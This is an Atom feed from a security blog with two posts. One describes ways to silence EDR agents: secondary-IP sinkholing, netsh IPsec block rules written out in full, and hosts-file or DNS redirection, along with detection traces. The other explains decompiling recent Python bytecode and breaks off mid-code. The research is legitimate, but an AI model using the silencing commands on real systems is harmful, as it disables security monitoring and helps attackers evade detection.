<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="3.10.0">Jekyll</generator><link href="https://idafchev.github.io/blog/feed.xml" rel="self" type="application/atom+xml" /><link href="https://idafchev.github.io/blog/" rel="alternate" type="text/html" /><updated>2024-11-18T20:04:23+02:00</updated><id>https://idafchev.github.io/blog/feed.xml</id><title type="html">Ring 0x00</title><subtitle>Blog about cybersecurity, malware analysis and research</subtitle><author><name>Ilia Dafchev</name></author><entry><title type="html">Alternative ways for EDR Silencing</title><link href="https://idafchev.github.io/blog/EDR_Silencing/" rel="alternate" type="text/html" title="Alternative ways for EDR Silencing" /><published>2024-11-14T00:00:00+02:00</published><updated>2024-11-14T00:00:00+02:00</updated><id>https://idafchev.github.io/blog/EDR_Silencing</id><content type="html" xml:base="https://idafchev.github.io/blog/EDR_Silencing/"><![CDATA[<h1 id="introduction">Introduction</h1>
<hr />
<p>Using the Windows Filtering Platform (WFP) APIs or creating specific Windows Firewall rules are well-known methods to silence EDRs. Popular tools using for silencing are <a href="https://github.com/netero1010/EDRSilencer">EDRSilencer</a>, <a href="https://github.com/dsnezhkov/shutter">Shutter</a>, <a href="https://github.com/senzee1984/EDRPrison">EDRPrison</a>. But recently, a colleague shared a paper with me detailing an alternative approach to silence EDRs which piqued my interest and led me to explore other potential methods for disrupting EDR communication on my own.</p>

<h1 id="sinkholing-by-assigning-secondary-ip-addresses">Sinkholing by assigning secondary IP addresses</h1>
<hr />
<p>A network interface can be configured with more than one IP address. By assigning a secondary IP address that matches a public host’s IP, you effectively make that host unreachable. This works because traffic intended for that public IP is redirected to your local interface instead of reaching the actual remote host. This technique essentially acts as a form of sinkholing, where traffic to a target IP is absorbed locally.</p>

<p>To silence an EDR, you need to identify the IP addresses it communicates with. Once identified, you can assign each of these IPs (or their entire subnet) as secondary addresses on your interface.</p>

<p>To manually add a secondary IP address, go to:<br />
<code class="language-plaintext highlighter-rouge">Adapter Properties &gt; IPv4 &gt; Properties &gt; Advanced &gt; IP Settings</code></p>

<p><img src="https://idafchev.github.io/blog/assets/images/edr_silencing/secondary_ip.png" alt="Assigning Secondary IP" class="align-center" /></p>

<p class="notice--info"><strong>Note:</strong> If the network adapter is set to obtain its IP address automatically via DHCP, secondary addresses cannot be added. In this case, you must convert the adapter configuration to use static IP addressing by copying the current network settings.</p>

<p>Identifying specific IP addresses for each EDR can be inconvenient, as these IPs may change frequently or use failover IPs for redundancy. To streamline this process, it’s more effective to block connections based on process names rather than individual IP addresses.</p>

<p>To address this, I developed a PowerShell script (<a href="https://github.com/idafchev/IPMute/blob/main/ipmute.ps1">IPMute</a>) that continuously monitors a specified list of processes for TCP connections, captures each connection’s remote address, and assigns it as a secondary IP address on all active physical adapters. Upon exiting with <code class="language-plaintext highlighter-rouge">CTRL+C</code>, the script performs a cleanup, removing all blocked IP addresses.</p>

<p>You need to let it run for a while to make sure all IP addresses are discovered by the script. The example below targets normal processes as I don’t want to give examples with an actual product.</p>

<p><img src="https://idafchev.github.io/blog/assets/images/edr_silencing/ip_mute.png" alt="IPMute" class="align-center" /></p>

<p><img src="https://idafchev.github.io/blog/assets/images/edr_silencing/secondary_ip_2.png" alt="IPMute result" class="align-center" /></p>

<p>Static IP settings are stored in the following Registry value:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>HKLM\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\{GUID}\IPAddress
</code></pre></div></div>
<p>This means that this technique could potentially be made ineffective in a similar manner to the one outlined in the Huntress article, “<a href="https://www.huntress.com/blog/silencing-the-edr-silencers">Silencing the EDR Silencers</a>”.</p>

<p>Depending how the secondary IP addresses are added, the registry values are modified by a different process:</p>
<ul>
  <li><code class="language-plaintext highlighter-rouge">wmiprvse.exe</code> if addresses were added with powershell cmdlets.</li>
  <li><code class="language-plaintext highlighter-rouge">DllHost.exe</code> if addresses were added from GUI.</li>
  <li><code class="language-plaintext highlighter-rouge">netsh.exe</code> if addresses were added by netsh.</li>
  <li><code class="language-plaintext highlighter-rouge">svchost.exe</code> if assigned by DHCP (but the registry value is DhcpIPAddress).</li>
</ul>

<p><img src="https://idafchev.github.io/blog/assets/images/edr_silencing/procmon.png" alt="Procmon" class="align-center" /></p>

<p>These specifics could be useful in creating detections for scripted IP configuration changes.</p>

<p>Additionally, it is possible to add secondary IP addresses directly in the registry. However, in my testing, changes to this registry setting did not take effect unless I manually disabled and then re-enabled the network interface. Could be interesting to reverse how the Windows commands are assigning them without disable/re-enable of the interface. Maybe it’s possible to do it programatically.</p>

<h1 id="ipsec-filter-rules">IPSec filter rules</h1>
<hr />
<p>It’s not new that IPSec filter rules can be used to filter traffic, even if you don’t have IPSec configured (you can check the blog “<a href="https://mgreen27.github.io/posts/2020/07/23/IPSEC.html">Windows IPSEC for endpoint quarantine</a>” for more information). Therefore such rules can also be used for the malicious purpose to block EDR communication. An example of how to use the <code class="language-plaintext highlighter-rouge">netsh</code> command to set IPSec filter rules is shown below.</p>

<p class="notice--info">The filterlist can also accept domain names, but what actually happens is that several rules are created which block all IPs to which the domain currently resolves to.</p>

<div class="language-bat highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">netsh</span> <span class="kd">ipsec</span> <span class="kd">static</span> <span class="kd">add</span> <span class="kd">policy</span> <span class="kd">name</span><span class="o">=</span><span class="kd">BlockPolicy</span> <span class="kd">description</span><span class="o">=</span><span class="kd">BlockPolicy</span>
<span class="nb">netsh</span> <span class="kd">ipsec</span> <span class="kd">static</span> <span class="kd">set</span> <span class="kd">policy</span> <span class="kd">name</span><span class="o">=</span><span class="kd">BlockPolicy</span> <span class="kd">assign</span><span class="o">=</span><span class="kd">y</span>

<span class="c">:: Command examples for filterlist. One or several can be used.</span>
<span class="c">:: netsh ipsec static add filter filterlist=BlockFilterList srcaddr=me dstaddr=X.X.X.X protocol=tcp description="FilterList"</span>
<span class="c">:: netsh ipsec static add filter filterlist=BlockFilterList srcaddr=me dstaddr=X.X.X.X dstmask=24 protocol=tcp description="FilterList"</span>
<span class="c">:: netsh ipsec static add filter filterlist=BlockFilterList srcaddr=me dstaddr=X.X.X.X Y.Y.Y.Y dstmask=32 protocol=tcp description="FilterList"</span>
<span class="c">:: netsh ipsec static add filter filterlist=BlockFilterList srcaddr=me dstaddr=X.X.X.X-Y.Y.Y.Y dstmask=32 protocol=tcp description="FilterList"</span>
<span class="c">:: netsh ipsec static add filter filterlist=BlockFilterList srcaddr=me dstaddr=DOMAIN.COM protocol=tcp description="FilterList"</span>

<span class="nb">netsh</span> <span class="kd">ipsec</span> <span class="kd">static</span> <span class="kd">add</span> <span class="kd">filteraction</span> <span class="kd">name</span><span class="o">=</span><span class="kd">BlockFilterAction</span> <span class="kd">action</span><span class="o">=</span><span class="kd">block</span>
<span class="nb">netsh</span> <span class="kd">ipsec</span> <span class="kd">static</span> <span class="kd">add</span> <span class="kd">rule</span> <span class="kd">name</span><span class="o">=</span><span class="kd">BlockRule</span> <span class="kd">policy</span><span class="o">=</span><span class="kd">BlockPolicy</span> <span class="kd">filterlist</span><span class="o">=</span><span class="kd">BlockFilterList</span> <span class="kd">filteraction</span><span class="o">=</span><span class="kd">BlockFilterAction</span> <span class="kd">description</span><span class="o">=</span><span class="s2">"IPSec Block Rule"</span>
</code></pre></div></div>

<p>Because I hate writing batch, I asked ChatGPT to create a general script with a configurable list of IP addresses, IP ranges, or domain names, which are subsequently blocked via IPSec filter rules. Any empty list is ignored - <a href="https://github.com/idafchev/IPSecFilter/blob/main/ipsecfilter.bat">IPSecFilter</a>.</p>

<p>To list all ipsec filter rules:</p>
<div class="language-bat highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">netsh</span> <span class="kd">ipsec</span> <span class="kd">static</span> <span class="kd">show</span> <span class="kd">all</span>
</code></pre></div></div>

<p>To remove the policy, along with all associated rules, filters, and lists:</p>
<div class="language-bat highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">netsh</span> <span class="kd">ipsec</span> <span class="kd">static</span> <span class="kd">delete</span> <span class="kd">policy</span> <span class="kd">name</span><span class="o">=</span><span class="kd">BlockPolicy</span>
</code></pre></div></div>

<p>IP addresses from the IPSec filterlist are stored in the registry as hex values at the following location:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>HKLM\Software\Policies\Microsoft\Windows\IPSec\Policy\Local\ipsecFilter{GUID}\ipsecData
</code></pre></div></div>
<p>The process which adds the registry values is <code class="language-plaintext highlighter-rouge">netsh</code>.</p>

<p>Because configuration is stored in registry, it means that it could be made ineffective with the technique discussed in the Huntress article meantioned in previous section.</p>

<p>I couldn’t find if IPSec filters can be configured programmatically using the Windows Filtering Platform (WFP) API or another API, but this could be promising for further research.</p>

<p>They could be configured through GUI using the IPSec snap-in from the Local Security Policy MMC. In this case the process responsible for writing to the registry key is <code class="language-plaintext highlighter-rouge">mmc.exe</code>.<br />
<img src="https://idafchev.github.io/blog/assets/images/edr_silencing/ipsec_secpol.png" alt="IPSecPol" class="align-center" /></p>

<h1 id="dns-sinkholing">DNS Sinkholing</h1>
<hr />
<h2 id="adding-the-edr-domains-to-the-hosts-file">Adding the EDR domains to the hosts file</h2>
<p>Again, nothing new here. Research what domains the target EDR is connecting to and add them to the hosts file, directing them to <code class="language-plaintext highlighter-rouge">127.0.0.1</code>.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>C:\Windows\System32\drivers\etc\hosts
</code></pre></div></div>

<p>There is a disadvantage with this approach. Even if you clear the DNS cache with <code class="language-plaintext highlighter-rouge">ipconfig /flushdns</code> or kill the already established TCP connections with sysinternals <code class="language-plaintext highlighter-rouge">TCPView</code>, the resolutions might have been cached in the process itself and connections may continue to be made to the original destination. You may need to wait for extended period of time or a re-boot for this to fully take effect.</p>

<p>Or the EDR may connect to certain IPs directly.</p>

<h2 id="changing-the-dns-to-one-under-attacker-control">Changing the DNS to one under attacker control</h2>
<p>Another way is if you can change the current DNS to one under your control and sinkhole on the DNS server side.
Or use a free service like OpenDNS which gives you DNS filtering capabilities.</p>

<p>If you block the EDR domains in OpenDNS, then set the local host DNS settings to point to OpenDNS you get the same sinkholing effect.
But it has the same disadvantage. The remote IPs may have alraedy been cached in the process itself and you may have to wait for extended period of time or a re-boot for the EDR process to start using the new IP.</p>

<h1 id="resources">Resources</h1>
<hr />
<ol>
  <li><a href="https://www.huntress.com/blog/silencing-the-edr-silencers">Silencing the EDR Silencers</a></li>
  <li><a href="https://github.com/netero1010/EDRSilencer">EDRSilencer project</a></li>
  <li><a href="https://github.com/dsnezhkov/shutter">Shutter project</a></li>
  <li><a href="https://github.com/senzee1984/EDRPrison">EDRPrison project</a></li>
  <li><a href="https://mgreen27.github.io/posts/2020/07/23/IPSEC.html">Windows IPSEC for endpoint quarantine</a></li>
</ol>]]></content><author><name>Ilia Dafchev</name></author><category term="posts" /><category term="edr" /><category term="silencing" /><category term="offsec" /><category term="offensive" /><summary type="html"><![CDATA[Assigning secondary IP addresses and IPSec filter rules to block EDR communication]]></summary></entry><entry><title type="html">Decompiling recent python versions (up to 3.12)</title><link href="https://idafchev.github.io/blog/Decompile_python/" rel="alternate" type="text/html" title="Decompiling recent python versions (up to 3.12)" /><published>2024-01-03T00:00:00+02:00</published><updated>2024-01-03T00:00:00+02:00</updated><id>https://idafchev.github.io/blog/Decompile_python</id><content type="html" xml:base="https://idafchev.github.io/blog/Decompile_python/"><![CDATA[<h1 id="introduction">Introduction</h1>
<hr />
<p>If you ever needed to decompile python <code class="language-plaintext highlighter-rouge">.pyc</code> files, then you know that versions <code class="language-plaintext highlighter-rouge">3.9</code> and above might be a bit problematic to deal with using the well known tools.
In this blog post I’ll explain my approach at dealing with such samples, but for completenes I’ll also briefly go though the general approach with <code class="language-plaintext highlighter-rouge">pyinstaller</code> binaries.</p>

<h1 id="general-approach">General approach</h1>
<hr />
<ol>
  <li>
    <p>Find the python version<br />
Search for strings containing <code class="language-plaintext highlighter-rouge">"python"</code>.
You’ll easily spot the python version with which it was compiled.<br />
<img src="https://idafchev.github.io/blog/assets/images/decompile_python/strings.png" alt="strings" class="align-center" /></p>
  </li>
  <li>Install that EXACT same version of python</li>
  <li>Download the latest version of <a href="https://github.com/extremecoders-re/pyinstxtractor">pyinstxtractor</a><br />
If I had a problem with the extracted pyc files, usually downloading the latest version of pyinstxtractor fixes the issue, so don’t skip this step.</li>
  <li>
    <p>Use pyinstxtractor to extract the compiled python code from the executable<br />
Run <code class="language-plaintext highlighter-rouge">pyinstxtractor</code> with the same python version (the one just downloaded) with which the code was compiled.<br />
<img src="https://idafchev.github.io/blog/assets/images/decompile_python/pyinstxtractor.png" alt="pyinstxtractor" class="align-center" /></p>

    <p>The script will extract all compiled modules and even suggest you the entry point.</p>
  </li>
  <li>Use a python decompiler to decompile the pyc file.<br />
At the time of writing, the well known tools for this task are:
    <ul>
      <li><a href="https://github.com/rocky/python-decompile3">decompyle3</a></li>
      <li><a href="https://github.com/rocky/python-uncompyle6">uncompyle6</a></li>
      <li><a href="https://github.com/zrax/pycdc">pycdc</a></li>
      <li><a href="https://github.com/serfend/pydumpck">pydumpck</a></li>
    </ul>
  </li>
</ol>

<p>These tools are usually working fine with python versions up to <code class="language-plaintext highlighter-rouge">3.8</code> or <code class="language-plaintext highlighter-rouge">3.9</code>, but may have a problem decompiling newer python versions.</p>

<h1 id="decompiling-python-above-39">Decompiling python above 3.9</h1>
<hr />
<p>In cases where the above-mentioned tools fail, I resort to <code class="language-plaintext highlighter-rouge">pycdc</code> with a bit of a manual approach.
I always make sure I work with the latest <code class="language-plaintext highlighter-rouge">pycdc</code>, meaning that I have to compile it myself. The steps are the following:</p>

<ol>
  <li>Make sure you have Visual Studio installed</li>
  <li>Clone the latest pycdc from github</li>
  <li>Open Developer PowerShell for VS</li>
  <li>Go inside the pycdc folder</li>
  <li>Generate a Visual Studio project file with the command
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>cmake . msbuild pycdc.sln
</code></pre></div>    </div>
  </li>
  <li>Open the project in Visual Studio and build it.</li>
  <li>The executable will be inside the “Debug” folder</li>
</ol>

<p>Let’s test it against a file compiled with python <code class="language-plaintext highlighter-rouge">3.10</code></p>

<p><img src="https://idafchev.github.io/blog/assets/images/decompile_python/pycdc_fail_1.png" alt="pycdc_fail_1" class="align-center" /></p>

<p>An error about an <code class="language-plaintext highlighter-rouge">Unsupported opcode</code> is thrown.
To deal with this, you can add “fake” support for this opcode. That way you bypass the error and decompilation will continue, although it may output wrong python code.
In my experience, even if the code is wrong it’s usually readable and correct enough to understand what it’s doing. After all, I don’t need a running code, I just need to know what it does.</p>

<p>To add such fake support, just add the mentioned opcode as a case statement inside <code class="language-plaintext highlighter-rouge">ASTree.cpp</code>. I usually add it at the end, before the default case, so I can easily find my modifications. The content of the <code class="language-plaintext highlighter-rouge">case</code> should have <code class="language-plaintext highlighter-rouge">break</code> for a body, like so:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code>	<span class="k">case</span> <span class="n">Pyc</span><span class="p">:</span><span class="o">:</span><span class="n">GEN_START_A</span><span class="o">:</span>
		<span class="n">stack</span><span class="p">.</span><span class="n">pop</span><span class="p">();</span>
		<span class="k">break</span><span class="p">;</span>
	<span class="k">case</span> <span class="n">Pyc</span><span class="p">:</span><span class="o">:</span><span class="n">WITH_EXCEPT_START</span><span class="o">:</span>  <span class="c1">// &lt;------ the added handler</span>
		<span class="k">break</span><span class="p">;</span>
	<span class="k">default</span><span class="o">:</span>
		<span class="n">fprintf</span><span class="p">(</span><span class="n">stderr</span><span class="p">,</span> <span class="s">"Unsupported opcode: %s</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">Pyc</span><span class="o">::</span><span class="n">OpcodeName</span><span class="p">(</span><span class="n">opcode</span> <span class="o">&amp;</span> <span class="mh">0xFF</span><span class="p">));</span>
		<span class="n">cleanBuild</span> <span class="o">=</span> <span class="nb">false</span><span class="p">;</span>
		<span class="k">return</span> <span class="n">new</span> <span class="nf">ASTNodeList</span><span class="p">(</span><span class="n">defblock</span><span class="o">-&gt;</span><span class="n">nodes</span><span class="p">());</span>
</code></pre></div></div>

<p>Or you could try to add proper support if you check the <a href="https://docs.python.org/3.10/library/dis.html#opcode-WITH_EXCEPT_START">documenation for the opcode</a> for the relevant python version. According to the documentation, the <code class="language-plaintext highlighter-rouge">WITH_EXCEPT_START</code> opcode “<em>Calls the function in position 7 on the stack with the top three items on the stack as arguments.</em>”. So we can sort-of try to handle it by popping the top tree items from the stack.</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code>	<span class="k">case</span> <span class="n">Pyc</span><span class="p">:</span><span class="o">:</span><span class="n">GEN_START_A</span><span class="o">:</span>
		<span class="n">stack</span><span class="p">.</span><span class="n">pop</span><span class="p">();</span>
		<span class="k">break</span><span class="p">;</span>
	<span class="k">case</span> <span class="n">Pyc</span><span class="p">:</span><span class="o">:</span><span class="n">WITH_EXCEPT_START</span><span class="o">:</span>  <span class="c1">// &lt;------ the added handler</span>
		<span class="n">stack</span><span class="p">.</span><span class="n">pop</span><span class="p">();</span>
		<span class="n">stack</span><span class="p">.</span><span class="n">pop</span><span class="p">();</span>
		<span class="n">stack</span><span class="p">.</span><span class="n">pop</span><span class="p">();</span>
		<span class="k">break</span><span class="p">;</span>
	<span class="k">default</span><span class="o">:</span>
		<span class="n">fprintf</span><span class="p">(</span><span class="n">stderr</span><span class="p">,</span> <span class="s">"Unsupported opcode: %s</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">Pyc</span><span class="o">::</span><span class="n">OpcodeName</span><span class="p">(</span><span class="n">opcode</span> <span class="o">&amp;</span> <span class="mh">0xFF</span><span class="p">));</span>
		<span class="n">cleanBuild</span> <span class="o">=</span> <span class="nb">false</span><span class="p">;</span>
		<span class="k">return</span> <span class="n">new</span> <span class="nf">ASTNodeList</span><span class="p">(</span><span class="n">defblock</span><span class="o">-&gt;</span><span class="n">nodes</span><span class="p">());</span>
</code></pre></div></div>

<p>Testing it again, we get another unsupported opcode. You repeat the process until you add support for all necessary opcodes and decompilation proceeds uninterrupted.<br />
<img src="https://idafchev.github.io/blog/assets/images/decompile_python/pycdc_fail_2.png" alt="pycdc_fail_2" class="align-center" /></p>

<p>Another way, without adding each failing opcode one by one, is to just add 	<code class="language-plaintext highlighter-rouge">break</code> in the default case, under <code class="language-plaintext highlighter-rouge">fprintf</code>.</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nl">default:</span>
	<span class="n">fprintf</span><span class="p">(</span><span class="n">stderr</span><span class="p">,</span> <span class="s">"Unsupported opcode: %s</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">Pyc</span><span class="o">::</span><span class="n">OpcodeName</span><span class="p">(</span><span class="n">opcode</span> <span class="o">&amp;</span> <span class="mh">0xFF</span><span class="p">));</span>
	<span class="k">break</span><span class="p">;</span> <span class="c1">// &lt;----------------</span>
	<span class="n">cleanBuild</span> <span class="o">=</span> <span class="nb">false</span><span class="p">;</span>
	<span class="k">return</span> <span class="n">new</span> <span class="nf">ASTNodeList</span><span class="p">(</span><span class="n">defblock</span><span class="o">-&gt;</span><span class="n">nodes</span><span class="p">());</span>
</code></pre></div></div>

<p>This will have the same effect and will also print to the console all unsupporeted opcodes.</p>

<p><img src="https://idafchev.github.io/blog/assets/images/decompile_python/pycdc_break.png" alt="pycdc_defualt_break" class="align-center" /></p>

<p>Having all the unsupported opcodes listed is helpful in cases where <code class="language-plaintext highlighter-rouge">pycdc</code> crashes and you want to add proper support for them. Or if you want to add proper support, so the decompiled code is better.</p>

<p>Adding proper support can be tricky. I don’t understand completely how pycdc works, so my approach here is to fuck around and find out.</p>

<p>Generally what I do is:</p>
<ol>
  <li>Check the <a href="https://docs.python.org/3/library/dis.html">python documentation</a> what the opcode in question should be doing (verify you selected proper python version).</li>
  <li>Check how similar opcodes are handled in the pycdc code</li>
  <li>Try to implement the opcode using my combined understanding of the python docs and the pycdc code</li>
  <li>After some trial and error, I have a code with questionable quality, which does the trick and at least produces results</li>
</ol>

<p>Sometimes I might encounter a different type of error.
For example, let’s run it against a file compiled with the latest python version. At the time of writing this is <code class="language-plaintext highlighter-rouge">3.12</code></p>

<p><img src="https://idafchev.github.io/blog/assets/images/decompile_python/pycdc_py312.png" alt="pycdc_py312" class="align-center" /></p>

<p>It produces <code class="language-plaintext highlighter-rouge">invalid vector subscript</code> exception.</p>

<p>Unfortunately the whole function which handles decompilation is enclosed in a try/except block, thus you can’t easily find where the exception happens.</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code>    <span class="n">try</span> <span class="p">{</span>
        <span class="n">decompyle</span><span class="p">(</span><span class="n">mod</span><span class="p">.</span><span class="n">code</span><span class="p">(),</span> <span class="o">&amp;</span><span class="n">mod</span><span class="p">,</span> <span class="o">*</span><span class="n">pyc_output</span><span class="p">);</span>
    <span class="p">}</span> <span class="n">catch</span> <span class="p">(</span><span class="n">std</span><span class="o">::</span><span class="n">exception</span><span class="o">&amp;</span> <span class="n">ex</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">fprintf</span><span class="p">(</span><span class="n">stderr</span><span class="p">,</span> <span class="s">"Error decompyling %s: %s</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">infile</span><span class="p">,</span> <span class="n">ex</span><span class="p">.</span><span class="n">what</span><span class="p">());</span>
        <span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
    <span class="p">}</span>
</code></pre></div></div>

<p>You could debug the code or use <code class="language-plaintext highlighter-rouge">printf</code> statements under each <code class="language-plaintext highlighter-rouge">case</code>. I used notepad++ find/replace with following regex to quickly add <code class="language-plaintext highlighter-rouge">printf</code>.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Find: "        case Pyc::\w+:\n\s{9,}"
Replace: "$&amp;DEBUG_PRINT\("DEBUG, LINE:%d\\n", __LINE__\);\n\s            "
</code></pre></div></div>
<p>Like so:<br />
<img src="https://idafchev.github.io/blog/assets/images/decompile_python/npp.png" alt="NPP" class="align-center" /></p>

<p><code class="language-plaintext highlighter-rouge">$&amp;</code> is replaced with the matched sequence (the <code class="language-plaintext highlighter-rouge">case</code> line), meaning that the end result of the operation is appending the debug line under the <code class="language-plaintext highlighter-rouge">case</code>.<br />
Using <code class="language-plaintext highlighter-rouge">__LINE__</code> will print the exact line in the source code where this specific <code class="language-plaintext highlighter-rouge">DEBUG_PRINT</code> is located.<br />
Below is the macro for the <code class="language-plaintext highlighter-rouge">DEBUG_PRINT</code>:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#define DEBUG
</span>
<span class="cp">#ifdef DEBUG
#define DEBUG_PRINT(...) fprintf(stderr, __VA_ARGS__)
#else
#define DEBUG_PRINT(...)
#endif
</span></code></pre></div></div>

<p>Building and running the new executable shows that the error occurs inside the handler for <code class="language-plaintext highlighter-rouge">LOAD_ATTR_A</code> opcode.<br />
<img src="https://idafchev.github.io/blog/assets/images/decompile_python/pycdc_debug.png" alt="pycdc_debug" class="align-center" /></p>

<p>The <a href="https://docs.python.org/3/library/dis.html#opcode-LOAD_ATTR">documentaion for this opcode</a> states the following:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>LOAD_ATTR(namei)
If the low bit of namei is not set, this replaces STACK[-1] with
getattr(STACK[-1],co_names[namei&gt;&gt;1]).

If the low bit of namei is set, this will attempt to load a
method named co_names[namei&gt;&gt;1] from the STACK[-1] object.
STACK[-1] is popped. This bytecode distinguishes two cases: if STACK[-1]
has a method with the correct name, the bytecode pushes the unbound
method and STACK[-1]. STACK[-1] will be used as the first argument (self)
by CALL when calling the unbound method. Otherwise, NULL and the object
returned by the attribute lookup are pushed.

Changed in version 3.12: If the low bit of namei is set, then a NULL or
self is pushed to the stack before the attribute or unbound method respectively.
</code></pre></div></div>

<p>Notice that the documentation states in both caes the operand <code class="language-plaintext highlighter-rouge">namei</code> should be shifted right by 1 <code class="language-plaintext highlighter-rouge">namei&gt;&gt;1</code>. But in the code (shown below) the oprand is used as is (without shift).</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">case</span> <span class="n">Pyc</span><span class="p">:</span><span class="o">:</span><span class="n">LOAD_ATTR_A</span><span class="o">:</span>
	<span class="p">{</span>
		<span class="n">PycRef</span><span class="o">&lt;</span><span class="n">ASTNode</span><span class="o">&gt;</span> <span class="n">name</span> <span class="o">=</span> <span class="n">stack</span><span class="p">.</span><span class="n">top</span><span class="p">();</span>
		<span class="k">if</span> <span class="p">(</span><span class="n">name</span><span class="p">.</span><span class="n">type</span><span class="p">()</span> <span class="o">!=</span> <span class="n">ASTNode</span><span class="o">::</span><span class="n">NODE_IMPORT</span><span class="p">)</span> <span class="p">{</span>
			<span class="n">stack</span><span class="p">.</span><span class="n">pop</span><span class="p">();</span>
			<span class="n">stack</span><span class="p">.</span><span class="n">push</span><span class="p">(</span><span class="n">new</span> <span class="n">ASTBinary</span><span class="p">(</span><span class="n">name</span><span class="p">,</span> <span class="n">new</span> <span class="n">ASTName</span><span class="p">(</span><span class="n">code</span><span class="o">-&gt;</span><span class="n">getName</span><span class="p">(</span><span class="n">operand</span><span class="p">)),</span> <span class="n">ASTBinary</span><span class="o">::</span><span class="n">BIN_ATTR</span><span class="p">));</span>
		<span class="p">}</span>
	<span class="p">}</span>
	<span class="k">break</span><span class="p">;</span>
</code></pre></div></div>
<p>Changing the code from <code class="language-plaintext highlighter-rouge">code-&gt;getName(operand)</code> to <code class="language-plaintext highlighter-rouge">code-&gt;getName(operand&gt;&gt;1)</code> fixes the issue and decompilation proceeds successfuly.
As stated in the documenation, the behavior of this opcode has changed a bit in version <code class="language-plaintext highlighter-rouge">3.12</code>, but I’m unsure how to implement those changes correctly. This may produce errors in the decompiled python code, but as I said earlier - I don’t need 100% correct code, I just want to understand what it does.</p>

<p>Another exception you might encounter is <code class="language-plaintext highlighter-rouge">"Bad MAGIC!"</code>. To deal with that, make sure the result of pyinxtractor is a correct PYC file (check it in a hex editor). The PYC file format starts with 4 bytes of magic bytes, followed by up to several header fields (depends on the python version used), and a marshalled code object. The 3rd and 4th magic byte should be <code class="language-plaintext highlighter-rouge">\x0D\x0A</code> respectively. The marshalled code-object starts with a byte which when <code class="language-plaintext highlighter-rouge">AND-ed</code> with <code class="language-plaintext highlighter-rouge">0x7F</code> should be equal to <code class="language-plaintext highlighter-rouge">0x63</code>. Below is an example of a proper PYC file:</p>

<p><img src="https://idafchev.github.io/blog/assets/images/decompile_python/pyc.png" alt="pyc" class="align-center" /></p>

<p>If the proper header is missing or the magic is wrong, you could try fixing it yourself by adding/replacing with a header of a known good file (compiled with the same python version). Most of the times I fixed this error by just using the latest pyinxtractor and using the correct python version.</p>

<h1 id="dealing-with-pyarmor">Dealing with pyarmor</h1>
<hr />
<p>This is a separate topic, but I wanted to add it here, because the methods used to deal with pyarmor are also useful for analyzing PYC files you can’t decompile. After all, in both cases you don’t have access to the actual souce code, so you can use similar methods for analysis.</p>

<h2 id="dynamic-way">Dynamic way</h2>
<p>Run the executable, dump the process memory, check the strings, check network traffic, run in a sandbox, etc.</p>

<h2 id="module-hookinghijacking">Module hooking/hijacking</h2>
<p>This technique is really well explained in <a href="https://youtu.be/oqS3aj2yS68?t=294">this youtube video</a>.<br />
It boils down to the following:</p>
<ol>
  <li>Run the PYC and check for any errors about missing modules. This tells you what modules the script uses.</li>
  <li>Choose a module which would be useful to intercept (like crypto library, networking, encodings, etc).</li>
  <li>Create a new file with the chosen modules name, like so: <code class="language-plaintext highlighter-rouge">&lt;module_name&gt;.py</code>and content of <code class="language-plaintext highlighter-rouge">pass</code>. Place it in the same directory as the PYC.</li>
  <li>Run the PYC again. Depending on the error, implement the functionality which is missing (create an empty class or an empty function/method, whatever the error message says).</li>
  <li>Run the PYC again and if it complains about arguments, fix those also. As a body for the methods you can print the arguments which are passed to them. That way you intercept the input which the script passes to the library. For crypto library this could be decryption keys, plaintext data, for network library - addresses, domains, request body etc.</li>
  <li>Repeat until you have everythin you need. The errors on each run tell you what you need to implement and intercept.</li>
</ol>

<p>Example:</p>
<ol>
  <li>Run the script:
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>&gt;"C:\Program Files\Python312\python.exe" client8.pyc
 Traceback (most recent call last):
File "client8.py", line 25, in &lt;module&gt;
File "client8.py", line 9, in start_client
 OSError: [WinError 10051] A socket operation was attempted to an unreachable network
</code></pre></div>    </div>
    <p>In this case, there are no missing modules, instead the script uses the “socket” module which is part of the Python Standard Library and it gets loaded from the default python installation.</p>
  </li>
  <li>I’ll intercept the socket module to check what kind of connection it will make.</li>
  <li>Create <code class="language-plaintext highlighter-rouge">socket.py</code> with content <code class="language-plaintext highlighter-rouge">pass</code> and run again.</li>
  <li>Runnig the PYC again
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>&gt;"C:\Program Files\Python312\python.exe" client8.pyc
 Traceback (most recent call last):
File "client8.py", line 25, in &lt;module&gt;
File "client8.py", line 8, in start_client
 AttributeError: module 'socket' has no attribute 'socket'
</code></pre></div>    </div>
  </li>
  <li>Implement the socket class
    <div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">class</span> <span class="nc">socket</span><span class="p">(</span><span class="n">_socket</span><span class="p">.</span><span class="n">socket</span><span class="p">):</span>
